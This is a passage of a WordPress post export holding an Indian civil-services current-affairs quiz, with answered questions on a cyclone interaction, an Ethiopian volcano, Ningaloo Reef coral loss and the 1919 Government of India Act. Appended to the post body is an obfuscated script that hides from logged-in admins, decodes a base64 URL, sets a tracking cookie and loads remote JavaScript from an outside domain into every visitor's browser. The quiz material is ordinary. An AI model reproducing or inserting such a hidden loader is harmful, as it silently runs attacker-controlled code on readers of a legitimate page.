synergy with Army and Air Force.<\/li>\n\n\n\n<li>Supports joint operations, HADR, and amphibious missions.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Which one of the following is the best description of \u2018INS Astradharini\u2019, that was in the news recently?<\/strong> <br><br>(a) Amphibious warfare ship <br>(b) Nuclear-powered submarine <br><strong>(c) Torpedo launch and recovery vessel<\/strong> <br>(d) Nuclear-powered aircraft carrier<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-102 wp-block-paragraph\" style=\"color:#022ef3\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2193558\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2193558<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>7. Which one of the following statements best describes \u2018Fujiwhara interaction\u2019, recently seen in the news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(a) The interaction between warm and cold ocean currents leading to rapid cyclogenesis.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(b) The phenomenon in which two nearby cyclonic systems rotate around a common centre and influence each other\u2019s movement.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">(c) The sudden intensification of a tropical cyclone due to a burst of deep convection near the eyewall.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(d) The reversal of wind patterns in the equatorial Pacific associated with El Ni\u00f1o events.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Answer: (b) The phenomenon in which two nearby cyclonic systems rotate around a common centre and influence each other\u2019s movement.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>In NEWS: <\/strong>Multiple cyclonic storms with rare Fujiwhara interaction likely in Bay of Bengal<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-111\">\n<li>Two cyclonic systems are forecast to form in the Bay of Bengal within a short time of each other, raising the possibility of a Fujiwhara-type interaction.<\/li>\n\n\n\n<li>This interaction could increase uncertainty around their future track and intensity, making forecasting more difficult.<\/li>\n\n\n\n<li>The India Meteorological Department (IMD) is closely monitoring both systems:<\/li>\n\n\n\n<li>One system is expected to develop from a low-pressure area over the Straits of Malacca and intensify into a cyclone in the south Bay of Bengal by around November 27.<\/li>\n\n\n\n<li>It is linked to an upper-air cyclonic circulation over the Comorin area, which may lead to another depression forming over the southwest Bay of Bengal or near Sri Lanka.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Fujiwhara Interaction:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-113\">\n<li>The Fujiwhara interaction is a phenomenon in which two nearby cyclonic systems come close enough that their circulations begin to influence each other. When this happens, the storms may:<ul><li>Rotate around a common centre,<\/li><\/ul><ul><li>Alter each other\u2019s tracks,<\/li><\/ul><ul><li>Move closer and merge, or<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Weaken or intensify depending on their relative strengths.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>This interaction usually occurs when two cyclones are within about 1,000 km of each other. It makes forecasting more difficult because the storms\u2019 movements become more unpredictable.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Hence option (b) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. With reference to &#8216;Indian Ocean Dipole (IOD)&#8217; sometimes mentioned in the news while forecasting Indian monsoon, which of the following statements is\/are correct?<\/strong> <br><br>1. IOD phenomenon is characterised by a difference in sea surface temperature between tropical Western Indian Ocean and tropical Eastern Pacific Ocean. <br>2. An IOD phenomenon can influence an EI Nino&#8217;s impact on the monsoon. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-115 wp-block-paragraph\" style=\"color:#0247f6\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/natural-disasters\/multiple-cyclonic-storms-with-rare-fujiwhara-interaction-likely-in-bay-of-bengal\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/natural-disasters\/multiple-cyclonic-storms-with-rare-fujiwhara-interaction-likely-in-bay-of-bengal<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>8. The \u2018Hayli Gubbi\u2019 volcano, recently seen in the news is a<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(a) Shield volcano<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(b) Composite volcano<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(c) Caldera<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(d) Cinder cone volcano<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Answer: (a) Shield volcano<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>In NEWS:<\/strong> India braces for disruption of air travel after Ethiopia\u2019s Hayli Gubbi volcano erupts<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Hayli Gubbi Volcano:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>It is located in the Afar Region of northeastern Ethiopia, part of the tectonically active Erta Ale Range.<\/li>\n\n\n\n<li>It is a shield volcano, characterized by gentle slopes formed by low-viscosity lava flows. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>The summit of the volcano is approximately 493 meters above sea level.<\/li>\n\n\n\n<li>Before 2025, the volcano had been dormant for roughly 10,000\u201312,000 years, with no recorded eruptions in the Holocene.<\/li>\n\n\n\n<li>The volcano erupted on 23 November 2025, marking its first activity in millennia.<\/li>\n\n\n\n<li>The eruption was explosive, producing an ash plume that reached 10\u201315 km into the atmosphere.<\/li>\n\n\n\n<li>A significant sulfur-dioxide (SO\u2082) plume was also emitted during the eruption.<\/li>\n\n\n\n<li>High-altitude winds carried the volcanic ash across the Red Sea toward Yemen, Oman, and as far as India.<\/li>\n\n\n\n<li>The eruption is considered rare and significant because of the long dormancy and potential hazards for aviation and the environment.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Causes of Volcanic Eruptions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li><strong>Tectonic Plate Movements<\/strong><ul><li><strong>Divergent boundaries<\/strong>: Plates move apart \u2192 magma rises (e.g., Mid-Atlantic Ridge).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Convergent boundaries<\/strong>: Subduction zones cause melting \u2192 volcanic activity (e.g., Pacific Ring of Fire).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Hotspots \/ Mantle Plumes<\/strong>\n<ul class=\"wp-block-list\">\n<li>Magma rises through the crust away from plate boundaries (e.g., Hawaii, Iceland).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Pressure in Magma Chambers<\/strong>\n<ul class=\"wp-block-list\">\n<li>Accumulation of magma and gas increases pressure \u2192 eruption occurs.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Weak Zones in the Crust<\/strong>\n<ul class=\"wp-block-list\">\n<li>Fissures or fractures allow magma to escape.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Consequences \/ Impacts of Volcanic Eruptions<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>A. Environmental Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-130\">\n<li>Destruction of forests, farmland, and natural habitats<\/li>\n\n\n\n<li>Air pollution due to ash and gases (SO\u2082, CO\u2082)<\/li>\n\n\n\n<li>Climate effects: short-term cooling from ash and SO\u2082<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>B. Human \/ Social Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-132\">\n<li>Loss of life and injuries from lava flows, pyroclastic flows, and ashfall<\/li>\n\n\n\n<li>Displacement of populations and destruction of homes<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>C. Economic Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-134\">\n<li>Damage to infrastructure (roads, bridges, airports)<\/li>\n\n\n\n<li>Disruption of trade, tourism, and agriculture<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>D. Health Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-136\">\n<li>Respiratory problems and diseases from inhaling ash and toxic gases<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>E. Positive \/ Beneficial Impacts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li>Formation of fertile soils for agriculture<\/li>\n\n\n\n<li>Creation of new land and volcanic islands<\/li>\n\n\n\n<li>Potential for geothermal energy<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Consider the following :<\/strong> <br><br>1. Pyroclastic debris <br>2. Ash and dust <br>3. Nitrogen compounds <br>4. Sulphur compounds <br><br><strong>How many of the above are products of volcanic eruptions?<\/strong> <br><br>(a) Only one <br>(b) Only two <br>(c) Only three <br><strong>(d) All four<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-139 wp-block-paragraph\" style=\"color:#002efa\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/Industry\/india-braces-for-impact-on-air-travel-as-ethiopian-volcano-spews-ash\/article70317792.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/Industry\/india-braces-for-impact-on-air-travel-as-ethiopian-volcano-spews-ash\/article70317792.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>9. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Statement-I: <\/strong>Nearly 70% of corals faced destruction at the UNESCO-listed Ningaloo Reef.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Statement-II: <\/strong>Recently, an unprecedented marine heat wave occurred in Western Australia.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(c) Statement-I is correct, but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(d) Statement-I is incorrect, but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>In NEWS: <\/strong>\u2018Unprecedented\u2019 heatwave kills nearly two-thirds of corals at UNESCO-listed Ningaloo Reef<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Ningaloo Reef:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-152\">\n<li>An unprecedented marine heatwave has killed nearly 70% of corals at the UNESCO-listed Ningaloo Reef in Western Australia. <strong>Hence both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/li>\n\n\n\n<li>The reef\u2019s northern lagoon, covering eight survey sites, now shows more than 60% coral mortality.<\/li>\n\n\n\n<li>In March, researchers counted over 1,600 individual corals; by October, only about 600 remained alive.<\/li>\n\n\n\n<li>The heatwave was described as the longest, largest, and most intense \u201cunderwater\u201d heatwave ever recorded in Australia.<\/li>\n\n\n\n<li>The reef was already under stress before this event: in 2022, low oxygen levels caused a sharp drop in live coral cover in some areas.<\/li>\n\n\n\n<li>On a global scale, bleaching-level heat stress has affected a very large portion of reefs: according to NOAA data cited, about 84.4% of the world\u2019s coral reef area has been exposed to such stress.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"673\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-20.png\" alt=\"\" class=\"wp-image-2780\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-20.png 684w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-20-300x295.png 300w\" sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Threats to corals:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-154\">\n<li>Rising sea temperatures cause coral bleaching and mass mortality.<\/li>\n\n\n\n<li>Ocean acidification reduces coral growth and weakens reef structures.<\/li>\n\n\n\n<li>Marine heatwaves lead to widespread coral stress and die-offs.<\/li>\n\n\n\n<li>Cyclones and storms physically damage and break coral reefs.<\/li>\n\n\n\n<li>Sedimentation from land runoff smothers corals and blocks sunlight.<\/li>\n\n\n\n<li>Nutrient pollution promotes algal blooms that outcompete corals.<\/li>\n\n\n\n<li>Chemical pollution (oil, toxins, sunscreen) poisons coral tissues.<\/li>\n\n\n\n<li>Plastic pollution injures corals and increases disease risk.<\/li>\n\n\n\n<li>Coastal development destroys reef habitats and increases turbidity.<\/li>\n\n\n\n<li>Overfishing disrupts reef food webs and promotes algal overgrowth.<\/li>\n\n\n\n<li>Destructive fishing (blast, cyanide) directly kills corals.<\/li>\n\n\n\n<li>Invasive species like crown-of-thorns starfish consume corals rapidly.<\/li>\n\n\n\n<li>Coral diseases spread faster under warm and polluted conditions.<\/li>\n\n\n\n<li>Ship groundings and anchors physically crush and break reefs.<\/li>\n\n\n\n<li>Tourism pressure causes physical damage and chemical contamination.<\/li>\n\n\n\n<li>Increased UV radiation stresses and bleaches corals.<\/li>\n\n\n\n<li>Climate change intensifies multiple stressors, reducing coral resilience.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><br><strong>Q. The acidification of oceans is increasing. Why is this phenomenon a cause of concern?<\/strong> <br><br>1. The growth and survival of calcareous phytoplankton will be adversely affected. <br>2. The growth and survival of coral reefs will be adversely affected. <br>3. The survival of some animals that have phytoplanktonic larvae will be adversely affected. <br>4. The cloud seeding and formation of clouds will be adversely affected. <br><br><strong>Which of the statement(s) given above is\/are correct?<\/strong> <br><br><strong>(a) 1, 2 and 3 only<\/strong> <br>(b) 2 only <br>(c) 1 and 3 only <br>(d) 1, 2, 3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-155 wp-block-paragraph\" style=\"color:#002ef9\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/environment\/unprecedented-heatwave-kills-nearly-two-thirds-of-corals-at-unesco-listed-ningaloo-reef\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/environment\/unprecedented-heatwave-kills-nearly-two-thirds-of-corals-at-unesco-listed-ningaloo-reef<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>10. In the Government of India Act 1919, the functions of Provincial Government were divided into &#8220;Reserved&#8221; and &#8220;Transferred&#8221; subjects. Which of the following were treated as &#8220;Reserved&#8221; subjects? (2022)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">1. Administration of Justice<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">2. Local Self-Government<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">3. Land Revenue<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">4. Police<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(a) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(b) 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(c) 1, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(d) 1, 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Answer: (c) 1, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-168\">\n<li>Under the Government of India Act, 1919, the Provincial subjects were divided into \u201cReserved\u201d and \u201cTransferred\u201d:<\/li>\n\n\n\n<li>Reserved subjects were under the control of the Governor and not responsible to the legislative council.<\/li>\n\n\n\n<li>Examples of Reserved subjects included:<ul><li>Administration of Justice<\/li><\/ul><ul><li>Land Revenue<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Police<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Local Self-Government was a Transferred subject, under the control of ministers responsible to the legislature.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements regarding Public Service Commissions in India: 1. The first Public Service Commission in India was [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,71,11,42],"tags":[],"class_list":["post-2777","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2777","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2777"}],"version-history":[{"count":3,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2777\/revisions"}],"predecessor-version":[{"id":2931,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2777\/revisions\/2931"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2777"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2777"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2777"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}